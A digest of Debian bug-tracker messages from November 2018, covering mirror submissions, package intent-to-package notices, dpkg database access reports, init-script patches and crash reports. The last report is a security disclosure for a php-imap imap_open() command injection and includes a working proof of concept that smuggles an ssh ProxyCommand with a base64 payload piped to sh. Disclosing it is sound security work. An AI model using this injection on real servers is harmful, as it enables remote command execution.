Bug#913786: mirror submission for mirror.launtel.net.au

[Adam Heathcote]

Package: mirrors
Severity: wishlist
User: mirr...@packages.debian.org
Usertags: mirror-submission

Submission-Type: new
Site: mirror.launtel.net.au
Type: leaf
Archive-architecture: ALL amd64 arm64 armel armhf hurd-i386 i386 kfreebsd-amd64 
kfreebsd-i386 mips mips64el mipsel powerpc ppc64el s390x
Archive-http: /debian/
Archive-rsync: debian/
Maintainer: Adam Heathcote 
Country: AU Australia
Location: Tasmania
Sponsor: Launtel https://launtel.net.au




Trace Url: http://mirror.launtel.net.au/debian/project/trace/
Trace Url: 
http://mirror.launtel.net.au/debian/project/trace/ftp-master.debian.org
Trace Url: 
http://mirror.launtel.net.au/debian/project/trace/mirror.launtel.net.au

Bug#913706: libasound2: Using a BOSS BR-800 results into a segfault in libasound2

[firesurfer]

Seems to work!

Thanks for the help

On 14.11.18 20:34, Elimar Riesebieter wrote:

* firesurfer  [2018-11-14 19:54 +0100]:


The output is:


[...]


ii  libasound2-plugins:amd64 1.1.7-2 amd64    ALSA library additional
plugins
ii  libasound2-plugins:i386 1.1.7-2 i386 ALSA library additional
plugins

Could you please install libasound2-plugins 1.1.7-3 which is in sid
since yesterday and test again? Just put unstable main to your
sources.list and 'apt install libasound2-plugins -t unstable
libasound2-plugins'.

Elimar

Bug#913754: syslog-ng hangs in getrandom(2) on boot

[Kókai Péter]

Hello,

Which was the previous syslog-ng version ?

--
Kokan

On Wed, 14 Nov 2018 at 21:21 Eugene Berdnikov  wrote:

> Package: syslog-ng
> Version: 3.13.2-5
> Severity: minor
>
>  On boot start of syslog-ng as daemon from /etc/init.d (SysV-init)
>  leads to hangup of boot process for several minutes. Strace shows
>  that delay caused by getrandom(2) syscall:
>
> 1501 22:44:00
> getrandom("\x74\x78\x56\x35\x28\xad\x52\xd2\xcb\x51\xb1\x30\xc7\x67\x14\x26\x01\xa4\x2d\xa0\x30\x1d\xad\x09\x9e\xe3\x2c\x4e\x07\x55\x0d\x29",
> 32, 0) = 32 <322.583360>
>
>  Got with "strace -Tt", means reading of 32 random bytes tooks 322 seconds.
>  This is expectable: on boot system has no enоuph entropy, so this syscall
>  blocks until entropy is collected by kernel from device drivers.
>
>  Previous versions of syslog-ng do not hang.
> --
>  Eugene Berdnikov
>
>

Bug#913785: ITP: android-platform-art -- Android Runtime Utilities

[殷啟聰 | Kai-Chung Yan]

Package: wnpp
Severity: wishlist

* Package name: android-platform-art
* Version : 8.1.0+r23-1
* Upstream Author : Google
* License : Apache-2.0
* Languages   : C++
* Description : Android Runtime Utilities
* Homepage: https://android.googlesource.com/platform/art
* Vcs : 
https://salsa.debian.org/android-tools-team/android-platform-art

This package provides the following Android SDK components:

* dexdump
* dmtracedump

Which was previously provided by src:android-platform-dalvik.



signature.asc
Description: OpenPGP digital signature

Bug#913690: starplot: helper script accesses internal dpkg database

[Niels Thykier]

On Wed, 14 Nov 2018 03:22:18 +0100 Guillem Jover  wrote:
> Source: starplot
> Source-Version: 0.95.5-8.3
> Severity: important
> User: debian-d...@lists.debian.org
> Usertags: dpkg-db-access-blocker
> 
> Hi!
> 
> This package contains a helper script [H], which directly accesses
> the dpkg internal database. Instead of using one of the public
> interfaces provided by dpkg. The code could probably be replaced
> with a file trigger.
> 
>   [H] debian/starplot.sh
> 
> This is a problem for several reasons, because even though the layout and
> format of the dpkg database is administrator friendly, and it is expected
> that those might need to mess with it, in case of emergency, this
> “interface” does not extend to other programs besides the dpkg suite of
> tools. The admindir can also be configured differently at dpkg build or
> run-time. And finally, the contents and its format, will be changing in
> the near future.
> 
> In addition the logic used in that script is not reliable, as those
> files will get updated when some other package takes over some of its
> files, or on a reinstall, etc.
> 
> Thanks,
> Guillem
> 
> 

Hi,

It is not clear to me that this script is being used by any package
itself.  AFAICT, packages use register-stardata[1] instead of that
script which makes this a likely case of "inert" use instead.

Thanks,
~Niels

[1]
https://sources.debian.org/src/stardata-common/0.8/src/register-stardata.c/

Bug#822753: /lib/init/init-d-script: exit 0 at end of script prevents all other exit codes

[Petter Reinholdtsen]

Hi Brenda,

[Benda Xu]
> Do you think init-d-script unconditionally returning 0 is a typo?
> Should it be `exit $?` instead?

Not quite sure, but as far as I know, the init.d scripts do not have a
standard for exit codes.  There is no use of exit codes from init.d
scripts in /etc/init.d/rc.  Error handling and reporting during start
and stop is supposed to take place within the init.d script itself, not
passed on to the caller as an exit code.

With that background, it is no reason not to always return 0 unless
incorrect arguments are used on the command line.

As /etc/init.d/rc is not running with 'set -e', it do not really matter
if the scripts exit with an error code.

-- 
Happy hacking
Petter Reinholdtsen

Bug#913784: munin-node: 'Duplicate line for path "/run/munin", ignoring' warning after upgrade to 2.0.42-5

[Vincas Dargis]

This is the content of file:
```
# cat /usr/lib/tmpfiles.d/munin-node.conf
# keep in sync with debian/munin.munin-(node|async).init (non-systemd)
d /run/munin 0755 munin munin
d /var/log/munin 0755 munin adm
```

Bug#913784: munin-node: 'Duplicate line for path "/run/munin", ignoring' warning after upgrade to 2.0.42-5

[Vincas Dargis]

Package: munin-node
Version: 2.0.42-5~bpo9+1
Severity: minor

Dear Maintainer,

After upgrading to 2.0.42-5 from backports, logcheck on multiple Stretch
machines started to capture this new message:

```
Nov 14 22:25:04 dl380 systemd-tmpfiles[13769]: 
[/usr/lib/tmpfiles.d/munin-node.conf:2] Duplicate line for path "/run/munin", 
ignoring.
```

I doubt this is critical at all, but maybe it would be nice to fix it.


-- System Information:
Debian Release: 9.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.9.0-8-amd64 (SMP w/16 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL 
set to en_US.UTF-8), LANGUAGE=en_US:en (charmap=UTF-8) (ignored: LC_ALL set to 
en_US.UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages munin-node depends on:
ii  gawk1:4.1.4+dfsg-1
ii  libnet-server-perl  2.008-3
ii  lsb-base9.20161125
ii  munin-common2.0.42-5~bpo9+1
ii  munin-plugins-core  2.0.42-5~bpo9+1
ii  perl5.24.1-3+deb9u4
ii  procps  2:3.3.12-3+deb9u1

Versions of packages munin-node recommends:
ii  libnet-snmp-perl 6.0.1-2
ii  munin-plugins-extra  2.0.42-5~bpo9+1

Versions of packages munin-node suggests:
pn  default-mysql-client  
ii  ethtool   1:4.8-1+b1
ii  hdparm9.51+ds-1+deb9u1
pn  libcrypt-ssleay-perl  
ii  libdbd-pg-perl3.7.4-1~pgdg90+1
pn  liblwp-useragent-determined-perl  
pn  libnet-irc-perl   
pn  libtext-csv-xs-perl   
ii  libwww-perl   6.15-1
pn  libxml-simple-perl
ii  lm-sensors1:3.4.0-4
ii  logtail   1.3.18
ii  munin 2.0.42-5~bpo9+1
pn  munin-plugins-java
pn  net-tools 
pn  ruby  
ii  smartmontools 6.5+svn4324-1

-- Configuration Files:
/etc/munin/munin-node.conf changed:
log_level 4
log_file /var/log/munin/munin-node.log
pid_file /var/run/munin/munin-node.pid
background 1
setsid 1
user root
group root
ignore_file [\#~]$
ignore_file DEADJOE$
ignore_file \.bak$
ignore_file %$
ignore_file \.dpkg-(tmp|new|old|dist)$
ignore_file \.rpm(save|new)$
ignore_file \.pod$
host 127.0.0.1
port 4949
cidr_allow 127.0.0.1/32

/etc/munin/plugin-conf.d/README [Errno 13] Permission denied: 
'/etc/munin/plugin-conf.d/README'
/etc/munin/plugin-conf.d/munin-node [Errno 13] Permission denied: 
'/etc/munin/plugin-conf.d/munin-node'

-- no debconf information

Bug#913735: mergerfs: unregistered embedded copy of libfuse

[Ritesh Raj Sarraf]

Control: tag -1 +pending


Thank you for the bug report. I have created a pull request requesting
the mention of mergerfs in the embedded copy list.

https://salsa.debian.org/security-tracker-team/security-tracker/merge_requests/27

On Wed, 2018-11-14 at 14:30 +0100, Helmut Grohne wrote:
> Source: mergerfs
> Version: 2.24.2-3
> Severity: important
> 
> mergerfs contains an embedded copy of libfuse that is not registered
> with the security tracker. It does Build-Depend on libfuse-dev, but
> rather than using it, it uses its own embedded copy. Please remove
> the
> embedded copy. Failing that, please register it in the security-
> tracker:
> https://wiki.debian.org/EmbeddedCodeCopies
> 
> Helmut
-- 
Ritesh Raj Sarraf | http://people.debian.org/~rrs
Debian - The Universal Operating System


signature.asc
Description: This is a digitally signed message part

Bug#913761: lintian: debian-watch-file-should-mangle-version does not recognize @DEB_EXT@

[Mattia Rizzolo]

On Wed, Nov 14, 2018 at 10:30:22PM +0100, Sebastian Ramacher wrote:
> From man uscan:
> 
>@DEB_EXT@
>This is substituted by the typical Debian extension regexp 
> (capturing).
> 
>  [\+~](debian|dfsg|ds|deb)(\.)?(\d+)?$
> 
> 
> lintian however does not recognize @DEB_EXT@. For a debian/watch file 
> including
> dversinmangle=s/@DEB_EXT@// lintian incorrectly reports
> debian-watch-file-should-mangle-version. Example debian/watch that exhibits 
> this
> issue:
> 
> version=4
> opts="uversionmangle=s/.pre/~pre/,dversionmangle=s/@DEB_EXT@//,repacksuffix=+ds1"
>  \
>https://github.com/intel/gmmlib/tags \
>(?:.*?/)intel-gmmlib@ANY_VERSION@\.tar\.gz


Just a note, please also make sure lintian understands
dversionmangle=auto (which is the same as dversionmangle=s/@DEB_EXT@//
atm).

-- 
regards,
Mattia Rizzolo

GPG Key: 66AE 2B4A FCCF 3F52 DA18  4D18 4B04 3FCD B944 4540  .''`.
more about me:  https://mapreri.org : :'  :
Launchpad user: https://launchpad.net/~mapreri  `. `'`
Debian QA page: https://qa.debian.org/developer.php?login=mattia  `-


signature.asc
Description: PGP signature

Bug#913781: reprozip: Script accesses internal dpkg database

[Rémi Rampin]

Upstream developer here. ReproZip needs to match from filename to package,
not the other way around. It formerly used `dpkg-query -S FILENAME` to do
this, but this was switched to reading the database directly for
performance reasons (exact commit is
https://github.com/ViDA-NYU/reprozip/commit/b085c41035959a451d77b0defa8c8b4ba025f47e).
When many files need to be looked up, it is more efficient to do a single
read through the info/*.list files than to do many such queries.

If I am missing a fast way to do this using the correct external interface,
please let me know, and I will gladly update the code.

A change in the database format could be a problem, thanks for letting us
know.

Best
Rémi

Bug#913783: ITP: hexyl -- Command-line hex viewer with colored output

[Wolfgang Silbermayr]

Package: wnpp
Severity: wishlist
X-Debbugs-CC: debian-de...@lists.debian.org

   Package name: hexyl
Version: 0.2.0
Upstream Author: David Peter 
URL: https://github.com/sharkdp/hexyl
License: MIT/Apache-2.0
Description: hexyl is a simple hex viewer for the terminal. It uses
 colored output to distinguish different categories of
 bytes (NULL bytes, printable ASCII characters, ASCII
 whitespace characters, other ASCII characters and
 non-ASCII).

Bug#913277: "FATAL_ERROR: No valid sound driver! FATAL_ERROR: Server exited!"

[Elimar Riesebieter]

Control: tags -1 unreproducible

* Awtul  [2018-11-14 21:19 -0500]:

> Package: moc
> Version: 1:2.6.0~svn-r2984-1
> Followup-For: Bug #913277
> 
> Cache file deleted (.moc/cache) but I still get same error as
> pasted in first message.  Moc config file just have the following
> line:  Theme = /usr/share/moc/themes/black_theme I don't have a
> custom config;  I use defaults.
> 
> ---
> 
> I have a sid vm almost fresh. I just installed 'mocp' and it
> starts just fine.
> 
> But I started 'chromium' and played a youtube video and 'mocp'
> doesn't start; I get same error.

Hmmm, I run sid on a Lenovo T500 with a similar sound device as
yours. I can't reproduce...

Elimar
-- 
  Experience is something you don't get until
  just after you need it!


signature.asc
Description: PGP signature

Bug#896165: linux: request packaging of bpftool

[Noah Meyerhans]

On Fri, Apr 20, 2018 at 02:07:40PM +0200, Simon Horman wrote:
> I would like to request packaging of bpftool which has been
> included in upstream Linux tree since v4.15-rc1. I expect this can
> be done in a similar manner to the way that perf, also present in
> the upstream Linux kernel tree, is packaged.

I've started some work on this. It's not ready to be merged with the
kernel packaging but does build. Please see
https://salsa.debian.org/noahm/linux/commits/bpftool and feel free to
send improvements.

noah



signature.asc
Description: PGP signature

Bug#913782: RM: bibletime [alpha hppa hurd-i386 kfreebsd-amd64 kfreebsd-i386 m68k powerpcspe ppc64 sh4 sparc64 x32] -- ANAIS; RoM; on non-current archs it depends on broken libsword11v5

[Daniel Glassey]

Package: ftp.debian.org
Severity: normal

bibletime 2.11.2 only builds on amd64 arm64 armhf i386 mipsel 
bibletime 2.10.1 is still in unstable for the other archs. It depends on a
version of libsword11v5 that does not contain the lib that it was
linked against so is unusable. (same as #913070)

Bug#913781: reprozip: Script accesses internal dpkg database

[Guillem Jover]

Source: reprozip
Source-Version: 1.0.10-1
Severity: important
User: debian-d...@lists.debian.org
Usertags: dpkg-db-access-blocker

Hi!

This package contains a scripts, which directly access the dpkg internal
database, instead of using one of the public interfaces provided by dpkg.
The code in «reprozip/tracer/linux_pkgs.py» should be switched to use
«dpkg-query --listfiles PKGNAME...». To avoid a performance loss, the
code can batch multiple packages on a single call (according to the
command-line length limit), which will get output as different stanzas
separated by a blank line (even if the package does not exist).

This is a problem for several reasons, because even though the layout and
format of the dpkg database is administrator friendly, and it is expected
that those might need to mess with it, in case of emergency, this
“interface” does not extend to other programs besides the dpkg suite of
tools. The admindir can also be configured differently at dpkg build or
run-time. And finally, the contents and its format, will be changing in
the near future.

Thanks,
Guillem

Bug#826214: fixed in sysvinit 2.88dsf-59.11

[Michael Biebl]

Control: found -1 2.88dsf-59.11

On Sun, 14 Oct 2018 15:02:51 + Michael Biebl  wrote:

>  sysvinit (2.88dsf-59.11) unstable; urgency=medium
>  .
>* Non-maintainer upload.
>  .
>[ Mert Dirik ]
>* Make sure that services using init-d-script can be properly redirected to
>  systemctl. (Closes: #826214)
>* Avoid naming collisions when storing the script name in init-d-script by
>  using a custom prefix.

Re-opening again. Looks like the redirection is still broken when using
#!/lib/init/init-d-script or
#!/usr/bin/env /lib/init/init-d-script
-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#913780: bootcd: Scripts access internal dpkg database

[Guillem Jover]

Source: bootcd
Source-Version: 5.13
Severity: important
User: debian-d...@lists.debian.org
Usertags: dpkg-db-access-blocker

Hi!

This package contains a couple of scripts, which directly access the
dpkg internal database, instead of using one of the public interfaces
provided by dpkg. The code in «bootcdinitramfshook» should be switched
to use «dpkg-query --listfiles PKGNAME», and the «bootcd-check.lib»,
switched to use «dpkg-query ---show PKGNAME» to check whether the
package is installed (ex. by using the db:Status-Status pseudo field).

This is a problem for several reasons, because even though the layout and
format of the dpkg database is administrator friendly, and it is expected
that those might need to mess with it, in case of emergency, this
“interface” does not extend to other programs besides the dpkg suite of
tools. The admindir can also be configured differently at dpkg build or
run-time. And finally, the contents and its format, will be changing in
the near future.

Thanks,
Guillem

Bug#913779: libuv1: path_max_zero_st_size incorrectly rebased; patch attached

[Adam Conrad]

Package: libuv1
Version: 1.23.2-1
Severity: normal
Tags: patch
User: ubuntu-de...@lists.ubuntu.com
Usertags: origin-ubuntu disco ubuntu-patch



In Ubuntu, the attached patch was applied to achieve the following:

  * Fix path_max_zero_st_size to follow renaming of variable upstream.

This should be fairly self-explanatory, I'd imagine.

... Adam


-- System Information:
Debian Release: buster/sid
  APT prefers disco
  APT policy: (500, 'disco')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-10-lowlatency (SMP w/4 CPU cores; PREEMPT)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_CA:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
diff -Nru libuv1-1.23.2/debian/patches/path_max_zero_st_size 
libuv1-1.23.2/debian/patches/path_max_zero_st_size
--- libuv1-1.23.2/debian/patches/path_max_zero_st_size  2018-10-23 
06:58:34.0 -0600
+++ libuv1-1.23.2/debian/patches/path_max_zero_st_size  2018-11-14 
19:29:15.0 -0700
@@ -79,13 +79,13 @@
maxlen = st.st_size;
  
 +  /* Some symlinks in /proc report st_size == 0 */
-+  if (len == 0) {
++  if (maxlen == 0) {
 +#if defined(_POSIX_PATH_MAX)
-+len = _POSIX_PATH_MAX;
++maxlen = _POSIX_PATH_MAX;
 +#elif defined(PATH_MAX)
-+len = PATH_MAX;
++maxlen = PATH_MAX;
 +#else
-+len = 4096; /* fallback */
++maxlen = 4096; /* fallback */
 +#endif
 +  }
 +

Bug#913778: util-vserver: Script accesses internal dpkg database

[Guillem Jover]

Source: util-vserver
Source-Version: 0.30.216-pre3120-1.4
Severity: important
User: debian-d...@lists.debian.org
Usertags: dpkg-db-access-blocker

Hi!

This package contains a script («scripts/vpkg»), which directly accesses
the dpkg internal database, instead of using one of the public interfaces
provided by dpkg. The code should be switched to use for conffiles:

  «dpkg-query --shoformat='${Conffiles}\n' --show»

which will print the conffiles for all installed packages.


This is a problem for several reasons, because even though the layout and
format of the dpkg database is administrator friendly, and it is expected
that those might need to mess with it, in case of emergency, this
“interface” does not extend to other programs besides the dpkg suite of
tools. The admindir can also be configured differently at dpkg build or
run-time. And finally, the contents and its format, will be changing in
the near future.

In addition the .conffiles files in the database never get updated even
after conffile take overs by another package.

Thanks,
Guillem

Bug#686895: initscripts: /forcefsck: fsck -f undefined (e2fsck-ism)

[Benda Xu]

Hi Dmitry,

Dmitry Bogatov  writes:

> control: tags -1 +patch
>
> [2014-11-24 22:30] Petter Reinholdtsen 
>> Given that -f is force only for ext*, I suspect a more sensible
>> approach is to only enable forcefsck for ext*, not disable it for
>> btrfs.
>
> Like this?
>
> diff --git a/debian/src/initscripts/etc/init.d/checkroot.sh 
> b/debian/src/initscripts/etc/init.d/checkroot.sh
> index 9f70527a..c6c21344 100755
> --- a/debian/src/initscripts/etc/init.d/checkroot.sh
> +++ b/debian/src/initscripts/etc/init.d/checkroot.sh
> @@ -22,6 +22,18 @@ FSCK_LOGFILE=/var/log/fsck/checkroot
>  . /lib/lsb/init-functions
>  . /lib/init/mount-functions.sh
>  
> +_want_force_fsck () {
> + set -- $(findmnt / | tail -n1)
> + case "$3" in
> + # Only ext* file systems support `-f' option to fsck. See #686895
> + (ext*)
> + [ -f /forcefsck ] || grep -q -s -w -i "forcefsck" /proc/cmdline
> + ;;
> + (*)
> + return 1

Do we need ';;' after this line?  Otherwise looks good to me.

> + esac
> +}
> +

Yours,
Benda

Bug#823660: initscripts: Restore locked root account access by using sulogin --force

[Benda Xu]

Hi Andreas,

Dmitry Bogatov  writes:

> [2016-05-07 11:12] Andreas Henriksson 
>> [...]
>> The initscripts package (src:sysvinit) needs equivalent changes to
>> restore the old status quo (and thus ignoring potential kiosk mode usecase
>> problems -- kiosk mode users should alter their init scripts and remove
>> the --force flag to be secure).
>
> Sounds convincing to me. So I prepared commit wip/bug-823660.  Dear
> co-maintainers, any objections?


@Andreas, what do you mean by "kiosk mode"?  Could you please define it
precisely?

I don't think sysvinit should blindly follow behaviors of systemd.
Entering the system as root without password prompt is a severe security
hole.

You may argue that if a cracker gets physical access to the machine, the
system is actually compromised.  Well, a cracker, sometimes a thief,
usually has a limited time penetrating a computer physically, while a
system administrator has virtually infinite amount of time.  Therefore,
the ease of not entering root password for sysadmin, does not shift the
risk that the system gets compromised quickly.

> Andreas Henriksson 
>
> The systemd package has been updated to pass the --force flag.

As the sulogin(8) says,

> Only use the -e option if you are sure the console is physically
> protected against unauthorized access.

Systemd imposes a big security risk to all the ignorant users without
telling them they need to make sure their console is physically
protected against unauthorized access, which is a harmful move we should
not follow.

Yours,
Benda

Bug#822753: /lib/init/init-d-script: exit 0 at end of script prevents all other exit codes

[Benda Xu]

Hi Petter,

Dmitry Bogatov  writes:

> I do agree, that this line looks strange. It was introduced at commit
> `f611a05d16b3094139c2ea540817c00bdf93347a' with following comment:
>
>   Make sure init-d-script exit at the end, to make sure init.d
>   script is only sourced once.
>
> at 20 Feb 2014. Dear co-maintainers, do you understand (or remember),
> what is going on?

Do you think init-d-script unconditionally returning 0 is a typo?
Should it be `exit $?` instead?

Yours,
Benda

Bug#913777: sakura: Crashes under wayland/crostini (version 3.4.0-3)

[Kapil Paranjape]

Package: sakura
Version: 3.4.0-3
Severity: normal

Dear Maintainer,

Running "sakura" in the "crostini" interface under Chrome OS crashed.

Report filed as:

https://bugs.chromium.org/p/chromium/issues/detail?id=905203

It appears that the problem is to do with the Wayland backend.

The problem does not exist in Version: 3.6.0-3 (in "testing") on the
same platform.

Put this bug out there in case others are bitten!

Regards,

Kapil.

-- System Information:
Debian Release: 9.6
  APT prefers stable
  APT policy: (990, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.14.74-07727-g7815dfea1ba2 (SMP w/4 CPU cores; PREEMPT)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8),
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages sakura depends on:
ii  libatk1.0-0  2.22.0-1
ii  libc62.24-11+deb9u3
ii  libcairo-gobject21.14.8-1
ii  libcairo21.14.8-1
ii  libgdk-pixbuf2.0-0   2.36.5-2+deb9u2
ii  libglib2.0-0 2.50.3-2
ii  libgnutls30  3.5.8-5+deb9u4
ii  libgtk-3-0   3.22.11-1
ii  libpango-1.0-0   1.40.5-1
ii  libpangocairo-1.0-0  1.40.5-1
ii  libpcre2-8-0 10.22-3
ii  libvte-2.91-00.46.1-1
ii  libx11-6 2:1.6.4-3+deb9u1
ii  zlib1g   1:1.2.8.dfsg-5

sakura recommends no packages.

sakura suggests no packages.

-- no debconf information

Bug#913753: Processed: Re: Bug#913753: FTBFS: test-suite fails with ERROR: Rust compiler rustc can not compile programs.

[Ximin Luo]

Control: reassign -1 llvm-7
Control: forcemerge 913271 -1
Control: affects 913271 + src:meson src:rustc

Debian Bug Tracking System:
> Processing commands for cont...@bugs.debian.org:
> 
>> reassign 913753 rustc
> Bug #913753 [src:meson] FTBFS: test-suite fails with ERROR:  Rust compiler 
> rustc can not compile programs.
> Bug reassigned from package 'src:meson' to 'rustc'.
> No longer marked as found in versions meson/0.48.1-1.
> Ignoring request to alter fixed versions of bug #913753 to the same values 
> previously set
>> stop
> Stopping processing here.
> 
> Please contact me if you need assistance.
> 


-- 
GPG: ed25519/56034877E1F87C35
GPG: rsa4096/1318EFAC5FBBDBCE
https://github.com/infinity0/pubkeys.git

Bug#374039: shutdown behavior (Was: Addressing more sysvinit bugs)

[Benda Xu]

Hi Jesse,

Jesse Smith  writes:

> 374039 (I think the reporter is confusing initscripts (init.d) with the
> sysvinit programs as they're mixing up script variables with sysvinit
> manual pages. Can close this report.)

Jidanni's concern is in the shutdown(8) manpage.

1. `shutdown` is no longer a script. The manpage should reflect that.

2. INIT_HALT is handled in /etc/init.d/halt, not /sbin/halt.

3. use `shutdown -h -H` with caution.  I don't have a clue.

4. It is not interesting to mention "Debian Sarge" in manpage anymore.


It would be great if they could be addressed upstream.

Yours,
Benda

Bug#913776: mozjs60: FTBFS with icu63; upstream cherry-pick attached

[Adam Conrad]

Package: mozjs60
Version: 60.2.3-1
Severity: serious
Tags: patch
Justification: fails to build from source (but built successfully in the past)
User: ubuntu-de...@lists.ubuntu.com
Usertags: origin-ubuntu disco ubuntu-patch



In Ubuntu, the attached patch was applied to achieve the following:

  * icu_61_updates.patch: Cherrypick from upstream for icu >= 61.

This should be fairly self-explanatory.  A clean cherry-pick from upstream
to fix tests on icu >= 61, unsticking the ICU transition currently underway.

... Adam

-- System Information:
Debian Release: buster/sid
  APT prefers disco
  APT policy: (500, 'disco')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-10-lowlatency (SMP w/4 CPU cores; PREEMPT)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_CA:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
diff -Nru mozjs60-60.2.3/debian/patches/icu_61_updates.patch 
mozjs60-60.2.3/debian/patches/icu_61_updates.patch
--- mozjs60-60.2.3/debian/patches/icu_61_updates.patch  1969-12-31 
17:00:00.0 -0700
+++ mozjs60-60.2.3/debian/patches/icu_61_updates.patch  2018-11-14 
12:48:17.0 -0700
@@ -0,0 +1,70 @@
+
+# HG changeset patch
+# User André Bargull 
+# Date 1522161640 25200
+# Node ID 3214fb35ccd684ada1d5cd230563c80b7f795fe7
+# Parent  b8ff6d9ecca3199c1b6721645c17c46f8a860cd3
+Bug 1445465 - Part 3: Update tests. r=Waldo
+
+diff --git a/js/src/tests/non262/Intl/NumberFormat/StringBuffer.js 
b/js/src/tests/non262/Intl/NumberFormat/StringBuffer.js
+--- a/js/src/tests/non262/Intl/NumberFormat/StringBuffer.js
 b/js/src/tests/non262/Intl/NumberFormat/StringBuffer.js
+@@ -5,13 +5,33 @@
+ 
+ // The implementation of the format function uses the C++ StringBuffer class,
+ // which changes its storage model at 32 characters, and uses it in a way 
which
+ // also means that there's no room for null-termination at this limit.
+ // This test makes sure that none of this affects the output.
+ 
+ var format = new Intl.NumberFormat("it-IT", {minimumFractionDigits: 1});
+ 
+-assertEq(format.format(1123123123123123123123.1), 
"1.123.123.123.123.120.000.000,0");
+-assertEq(format.format(12123123123123123123123.1), 
"12.123.123.123.123.100.000.000,0");
+-assertEq(format.format(123123123123123123123123.1), 
"123.123.123.123.123.000.000.000,0");
++assertEq(format.format(1123123123123123123123.1), 
"1.123.123.123.123.123.100.000,0");
++assertEq(format.format(12123123123123123123123.1), 
"12.123.123.123.123.122.000.000,0");
++assertEq(format.format(123123123123123123123123.1), 
"123.123.123.123.123.120.000.000,0");
++
++// Ensure the ICU output matches Number.prototype.toFixed.
++function formatToFixed(x) {
++var mfd = format.resolvedOptions().maximumFractionDigits;
++var s = x.toFixed(mfd);
++
++// To keep it simple we assume |s| is always in exponential form.
++var m = s.match(/^(\d)\.(\d+)e\+(\d+)$/);
++assertEq(m !== null, true);
++s = m[1] + m[2].padEnd(m[3], "0");
++
++// Group digits and append fractional part.
++m = s.match(/\d{1,3}(?=(?:\d{3})*$)/g);
++assertEq(m !== null, true);
++return m.join(".") + ",0";
++}
++
++assertEq(formatToFixed(1123123123123123123123.1), 
"1.123.123.123.123.123.100.000,0");
++assertEq(formatToFixed(12123123123123123123123.1), 
"12.123.123.123.123.122.000.000,0");
++assertEq(formatToFixed(123123123123123123123123.1), 
"123.123.123.123.123.120.000.000,0");
+ 
+ reportCompare(0, 0, "ok");
+diff --git a/js/src/tests/non262/Intl/NumberFormat/formatToParts.js 
b/js/src/tests/non262/Intl/NumberFormat/formatToParts.js
+--- a/js/src/tests/non262/Intl/NumberFormat/formatToParts.js
 b/js/src/tests/non262/Intl/NumberFormat/formatToParts.js
+@@ -210,17 +210,16 @@ var arPercentFormatter =
+ 
+ assertParts(arPercentFormatter, -135.32,
+ [MinusSign("\u{061C}-"),
+  Integer("١٣"),
+  Group("٬"),
+  Integer("٥٣٢"),
+  Decimal("٫"),
+  Fraction("٠٠"),
+- Literal("\xA0"),
+  PercentSign("٪\u{061C}")]);
+ 
+ // Decimals.
+ 
+ var usDecimalOptions =
+   {
+ style: "decimal",
+ maximumFractionDigits: 7 // minimum defaults to 0
+
diff -Nru mozjs60-60.2.3/debian/patches/series 
mozjs60-60.2.3/debian/patches/series
--- mozjs60-60.2.3/debian/patches/series2018-10-05 05:07:35.0 
-0600
+++ mozjs60-60.2.3/debian/patches/series2018-11-14 12:48:47.0 
-0700
@@ -18,3 +18,4 @@
 tests-Use-DEB_HOST_ARCH_BITS-to-skip-some-tests-on-64-bit.patch
 Skip-some-i18n-tests-because-we-are-now-using-system-ICU.patch
 tests-Expect-a-test-to-fail-on-big-endian.patch
+icu_61_updates.patch

Bug#913277: "FATAL_ERROR: No valid sound driver! FATAL_ERROR: Server exited!"

[Awtul]

Package: moc
Version: 1:2.6.0~svn-r2984-1
Followup-For: Bug #913277

"I just installed 'moc'", I meant :)

Bug#913277: "FATAL_ERROR: No valid sound driver! FATAL_ERROR: Server exited!"

[Awtul]

Package: moc
Version: 1:2.6.0~svn-r2984-1
Followup-For: Bug #913277

Cache file deleted (.moc/cache) but I still get same error as pasted in first 
message.
Moc config file just have the following line:  Theme = 
/usr/share/moc/themes/black_theme
I don't have a custom config;  I use defaults.

---

I have a sid vm almost fresh. I just installed 'mocp' and it starts just fine.

But I started 'chromium' and played a youtube video and 'mocp' doesn't start; I 
get same error.

So, 'mocp' crashes with the error message I pasted in the first message if I 
try to run it while
any other application is playing audio/video.

Same problem so in the host and in the vm, both sid and both up to date.

Bug#913775: php-imap: imap_open() function command injection

[rhns]

Package: php-imap
Version: 1:7.0+49
Severity: grave
Tags: security
Justification: user security hole

Dear Maintainer,

A command injection vulnerability has been identified in the imap
extension of php.

It is located in the imap_open() function which does not validate
correctly the server URI.

imap_open() invokes rsh which is symlinked to ssh on Debian, it results
in a possible command injection via the "-o ProxyCommand" option of ssh.

A PoC is available :
```
https://antichat.com/threads/463395/#post-4254681
# echo '1234567890'>/tmp/test0001
$server = "x 
-oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError:
".imap_last_error());
```

- Bo0om : PHP_imap_open_exploit
https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php
- Antichat : [спущено с LVL8] RCE Task #3 
https://antichat.com/threads/463395/#post-4254681

-- System Information:
Debian Release: 9.5
  APT prefers stable-updates
